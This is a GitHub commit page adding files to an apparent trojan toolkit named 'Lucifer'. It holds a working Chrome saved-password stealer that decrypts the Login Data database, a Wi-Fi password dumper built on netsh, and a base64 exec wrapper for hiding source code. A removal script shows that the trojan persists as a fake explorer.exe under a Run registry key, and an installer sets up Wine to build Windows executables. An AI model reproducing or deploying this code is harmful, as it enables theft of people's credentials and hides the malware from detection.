Skip to content

Commit cae34c7

Browse files
commit
1 parent 8f8949e commit cae34c7

11 files changed

+1033
-0
lines changed

Lucifer.py

+319
Large diffs are not rendered by default.

RemoveTHorse.bat

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
del /q C:\Users\"%USERNAME%"\AppData\Roaming\explorer.exe
2+
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v winexplorer /f
3+
cls
4+
echo "[*] DONE "
5+
echo "[*] Please Restart Your System!"
6+
pause

banners.py

+59
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
import random
2+
3+
figlet_ansi_shadow = """
4+
_ _ ____ _ _____ _____ ____
5+
/ \ / \ /\/ _\/ \/ // __// __\
6+
| | | | ||| / | || __\| \ | \/|
7+
| |_/\| \_/|| \_ | || | | /_ | /
8+
\____/\____/\____/\_/\_/ \____\\_/\_\
9+
10+
"""
11+
12+
figlet_big = """
13+
___ ___ ___ ___ ___
14+
/\ \ /\__\ /\__\ /\__\ /\ \
15+
\:\ \ /:/ / ___ /:/ _/_ /:/ _/_ /::\ \
16+
\:\ \ /:/ / /\__\ /:/ /\__\ /:/ /\__\ /:/\:\__\
17+
___ ___ ___ \:\ \ /:/ / ___ /:/__/ /:/ /:/ / /:/ /:/ _/_ /:/ /:/ /
18+
/\ \ /\__\ /\ \ \:\__\ /:/__/ /\__\ /::\ \ /:/_/:/ / /:/_/:/ /\__\ /:/_/:/__/___
19+
\:\ \ /:/ / \:\ \ /:/ / \:\ \ /:/ / \/\:\ \__ \:\/:/ / \:\/:/ /:/ / \:\/:::::/ /
20+
\:\ /:/ / \:\ /:/ / \:\ /:/ / ~~\:\/\__\ \::/__/ \::/_/:/ / \::/~~/~~~~
21+
\:\/:/ / \:\/:/ / \:\/:/ / \::/ / \:\ \ \:\/:/ / \:\~~\
22+
\::/ / \::/ / \::/ / /:/ / \:\__\ \::/ / \:\__\
23+
\/__/ \/__/ \/__/ \/__/ \/__/ \/__/ \/__/
24+
25+
"""
26+
27+
figlet_bloody = """
28+
29+
### # ##
30+
# # #
31+
## ## ## ### ## ### ### ####
32+
# ## ## ## # ## # # # ##
33+
# # # # # # # #### ##
34+
##### ##### ### ## ## ### #
35+
#
36+
#
37+
"""
38+
39+
figlet_doom = """
40+
_ _ __
41+
| | (_) / _|
42+
| | _ _ ___ _ | |_ ___ _ __
43+
| | | | | | / __|| || _| / _ \| '__|
44+
| |____| |_| || (__ | || | | __/| |
45+
\_____/ \__,_| \___||_||_| \___||_|
46+
47+
"""
48+
49+
figlet_drpepper = """
50+
_ _ ___
51+
| | _ _ ___ <_>| | ' ___ _ _
52+
| |_ | | |/ | '| || |- / ._>| '_>
53+
|___|`___|\_|_.|_||_| \___.|_|
54+
55+
"""
56+
57+
58+
def get_banner():
59+
return random.choice([figlet_ansi_shadow, figlet_big, figlet_doom, figlet_drpepper])

encrypt_code.py

+28
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
#!/usr/bin/env python
2+
import base64
3+
4+
class Encrypt:
5+
def __init__(self):
6+
self.YELLOW, self.GREEN = '\33[93m', '\033[1;32m'
7+
self.text = ""
8+
self.enc_txt = ""
9+
10+
def encrypt(self, filename):
11+
print(f"\n{self.YELLOW}[*] Encrypting Source Codes...")
12+
with open(filename, "r") as f:
13+
lines_list = f.readlines()
14+
for lines in lines_list:
15+
self.text += lines
16+
17+
self.text = self.text.encode()
18+
self.enc_txt = base64.b64encode(self.text)
19+
20+
with open(filename, "w") as f:
21+
f.write(f"import base64; exec(base64.b64decode({self.enc_txt}))")
22+
23+
print(f"{self.GREEN}[+] Operation Completed Successfully!\n")
24+
25+
if __name__ == '__main__':
26+
test = Encrypt()
27+
filename = input("Please Enter Filename: ")
28+
test.encrypt(filename)

get_chrome_pass.py

+135
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
import os
2+
import sys
3+
import shutil
4+
import sqlite3
5+
import json, base64
6+
7+
from cryptography.hazmat.backends import default_backend
8+
from cryptography.hazmat.primitives.ciphers import (Cipher, algorithms, modes)
9+
10+
class GetChromePass:
11+
def __init__(self):
12+
self.passwordlog = ""
13+
self.APP_DATA_PATH = os.environ['LOCALAPPDATA']
14+
self.DB_PATH = r'Google\Chrome\User Data\Default\Login Data'
15+
self.NONCE_BYTE_SIZE = 12
16+
17+
def start(self):
18+
_full_path = os.path.join(self.APP_DATA_PATH, self.DB_PATH)
19+
_temp_path = os.path.join(self.APP_DATA_PATH, 'sqlite_file')
20+
if os.path.exists(_temp_path):
21+
os.remove(_temp_path)
22+
shutil.copyfile(_full_path,_temp_path)
23+
self.show_password(_temp_path)
24+
return self.passwordlog
25+
26+
def show_password(self, db_file):
27+
conn = sqlite3.connect(db_file)
28+
_sql = 'select signon_realm,username_value,password_value from logins'
29+
for row in conn.execute(_sql):
30+
host = row[0]
31+
if host.startswith('android'):
32+
continue
33+
name = row[1]
34+
value = self.chrome_decrypt(row[2])
35+
_info = 'Hostname: %s\nUsername: %s\nPassword: %s\n\n' %(host,name,value)
36+
self.passwordlog += _info
37+
conn.close()
38+
os.remove(db_file)
39+
40+
def chrome_decrypt(self, encrypted_txt):
41+
if sys.platform == 'win32':
42+
try:
43+
if encrypted_txt[:4] == b'\x01\x00\x00\x00':
44+
decrypted_txt = self.dpapi_decrypt(encrypted_txt)
45+
return decrypted_txt.decode()
46+
elif encrypted_txt[:3] == b'v10':
47+
decrypted_txt = self.aes_decrypt(encrypted_txt)
48+
return decrypted_txt[:-16].decode()
49+
except WindowsError:
50+
return None
51+
else:
52+
try:
53+
return self.unix_decrypt(encrypted_txt)
54+
except NotImplementedError:
55+
return None
56+
57+
def encrypt(self, cipher, plaintext, nonce):
58+
cipher.mode = modes.GCM(nonce)
59+
encryptor = cipher.encryptor()
60+
ciphertext = encryptor.update(plaintext)
61+
return (cipher, ciphertext, nonce)
62+
63+
def decrypt(self, cipher, ciphertext, nonce):
64+
cipher.mode = modes.GCM(nonce)
65+
decryptor = cipher.decryptor()
66+
return decryptor.update(ciphertext)
67+
68+
def get_cipher(self, key):
69+
cipher = Cipher(
70+
algorithms.AES(key),
71+
None,
72+
backend=default_backend()
73+
)
74+
return cipher
75+
76+
def dpapi_decrypt(self, encrypted):
77+
import ctypes
78+
import ctypes.wintypes
79+
80+
class DATA_BLOB(ctypes.Structure):
81+
_fields_ = [('cbData', ctypes.wintypes.DWORD),
82+
('pbData', ctypes.POINTER(ctypes.c_char))]
83+
84+
p = ctypes.create_string_buffer(encrypted, len(encrypted))
85+
blobin = DATA_BLOB(ctypes.sizeof(p), p)
86+
blobout = DATA_BLOB()
87+
retval = ctypes.windll.crypt32.CryptUnprotectData(
88+
ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
89+
if not retval:
90+
raise ctypes.WinError()
91+
result = ctypes.string_at(blobout.pbData, blobout.cbData)
92+
ctypes.windll.kernel32.LocalFree(blobout.pbData)
93+
return result
94+
95+
def unix_decrypt(self, encrypted):
96+
if sys.platform.startswith('linux'):
97+
password = 'peanuts'
98+
iterations = 1
99+
else:
100+
raise NotImplementedError
101+
102+
from Crypto.Cipher import AES
103+
from Crypto.Protocol.KDF import PBKDF2
104+
105+
salt = 'saltysalt'
106+
iv = ' ' * 16
107+
length = 16
108+
key = PBKDF2(password, salt, length, iterations)
109+
cipher = AES.new(key, AES.MODE_CBC, IV=iv)
110+
decrypted = cipher.decrypt(encrypted[3:])
111+
return decrypted[:-ord(decrypted[-1])]
112+
113+
def get_key_from_local_state(self):
114+
jsn = None
115+
with open(os.path.join(os.environ['LOCALAPPDATA'], r"Google\Chrome\User Data\Local State"), encoding='utf-8', mode ="r") as f:
116+
jsn = json.loads(str(f.readline()))
117+
return jsn["os_crypt"]["encrypted_key"]
118+
119+
def aes_decrypt(self, encrypted_txt):
120+
encoded_key = self.get_key_from_local_state()
121+
encrypted_key = base64.b64decode(encoded_key.encode())
122+
encrypted_key = encrypted_key[5:]
123+
key = self.dpapi_decrypt(encrypted_key)
124+
nonce = encrypted_txt[3:15]
125+
cipher = self.get_cipher(key)
126+
return self.decrypt(cipher, encrypted_txt[15:], nonce)
127+
128+
129+
if __name__=="__main__":
130+
Main = GetChromePass()
131+
password = Main.start()
132+
print(password)
133+
134+
135+

get_wifi_pass.py

+39
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
import subprocess, re
2+
3+
class GetWifiPassword:
4+
def __init__(self):
5+
self.command = "netsh wlan show profile"
6+
self.result = ""
7+
8+
def start(self):
9+
networks = subprocess.check_output(self.command, shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL)
10+
networks = networks.decode(encoding="utf-8", errors="strict")
11+
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)
12+
13+
for network_name in network_names_list:
14+
try:
15+
command = "netsh wlan show profile " + network_name + " key=clear"
16+
current_result = subprocess.check_output(command, shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL)
17+
current_result = current_result.decode(encoding="utf-8", errors="strict")
18+
19+
ssid = re.findall("(?:SSID name\s*:\s)(.*)", str(current_result))
20+
authentication = re.findall(r"(?:Authentication\s*:\s)(.*)", current_result)
21+
cipher = re.findall("(?:Cipher\s*:\s)(.*)", current_result)
22+
security_key = re.findall(r"(?:Security key\s*:\s)(.*)", current_result)
23+
password = re.findall("(?:Key Content\s*:\s)(.*)", current_result)
24+
25+
self.result += "\n\nSSID : " + ssid[0] + "\n"
26+
self.result += "Authentication : " + authentication[0] + "\n"
27+
self.result += "Cipher : " + cipher[0] + "\n"
28+
self.result += "Security Key : " + security_key[0] + "\n"
29+
self.result += "Password : " + password[0]
30+
except Exception:
31+
pass
32+
33+
return self.result
34+
35+
if __name__ == '__main__':
36+
test = GetWifiPassword()
37+
result = test.start()
38+
print(result)
39+

installer_linux.py

+87
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
#!/usr/bin/python3
2+
3+
import os, sys
4+
from datetime import datetime
5+
from datetime import date
6+
7+
BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m'
8+
9+
def isRoot():
10+
if not os.geteuid() == 0:
11+
sys.exit("{RED}[!] Installer must be run as root")
12+
13+
def getCurrentTime():
14+
now = datetime.now()
15+
return now.strftime("%H:%M:%S")
16+
17+
def getCurrentDate():
18+
return date.today().strftime("%Y-%m-%d")
19+
20+
def printInfo(text):
21+
print(f"[{BLUE}{getCurrentTime()}{WHITE}] [{GREEN}INFO{WHITE}] " + text)
22+
23+
def printWarning(text):
24+
print(f"[{BLUE}{getCurrentTime()}{WHITE}] [{YELLOW}WARNING{WHITE}] " + text)
25+
26+
def install_wine():
27+
result = os.system("wine > /dev/null 2>&1")
28+
if result != 0:
29+
printWarning(f"wine is not installed. {GREEN}Installing...{WHITE}")
30+
os.system("apt-get update && apt-get install wine")
31+
32+
def install_wine32_pip_and_pyinstaller():
33+
printInfo(f"installing wine32, python3-pip, pyinstaller ...")
34+
os.system("dpkg --add-architecture i386 && apt-get update && apt-get install wine32 python3-pip pyinstaller && apt-get install python3-dev")
35+
36+
def download_python():
37+
printInfo(f"downloading Python v3.7 (32 Bit) ...")
38+
os.system("wget https://www.python.org/ftp/python/3.7.4/python-3.7.4.exe")
39+
40+
def download_pywin32():
41+
printInfo(f"downloading Pywin32 (32 Bit) ...")
42+
os.system("wget https://github.com/mhammond/pywin32/releases/download/b227/pywin32-227.win32-py3.7.exe")
43+
44+
def install_python():
45+
printInfo(f"installing Python3.7, you must continue its installation manually")
46+
print("\n=====================================================================")
47+
print(f"{YELLOW}[*] PLEASE NOTE : {WHITE}Choose Custom Install & Install Python to drive_c")
48+
print("=====================================================================\n")
49+
os.system("wine python-3.7.4.exe")
50+
51+
def install_pywin32():
52+
printInfo(f"installing Pywin32, you must continue its installation manually")
53+
os.system("wine pywin32-227.win32-py3.7.exe")
54+
55+
def install_python_dependencies():
56+
printInfo(f"installing Python3.7 dependencies ...")
57+
os.system("wine ~/.wine/drive_c/Python37-32/python.exe -m pip install pyinstaller mss==4.0.3 essential_generators==0.9.2 six==1.12.0 python-xlib==0.25 win32gui")
58+
59+
def install_python_main_dependencies():
60+
printInfo(f"installing main host Python3 dependencies ...")
61+
os.system("pip3 install mss==4.0.3")
62+
os.system("pip3 install essential_generators==0.9.2")
63+
os.system("pip3 install six==1.12.0")
64+
os.system("pip3 install python-xlib==0.25")
65+
66+
printInfo(f"{GREEN}[+] Done!")
67+
68+
69+
if __name__ == '__main__':
70+
isRoot()
71+
72+
print(f"\n[*] starting installation @ {getCurrentTime()} /{getCurrentDate()}/\n")
73+
74+
if os.path.exists("~/.wine/drive_c/Python37-32/") == False:
75+
install_wine()
76+
install_wine32_pip_and_pyinstaller()
77+
download_python()
78+
download_pywin32
79+
install_python()
80+
install_pywin32()
81+
install_python_dependencies()
82+
install_python_main_dependencies()
83+
84+
85+
86+
87+

0 commit comments

Comments
 (0)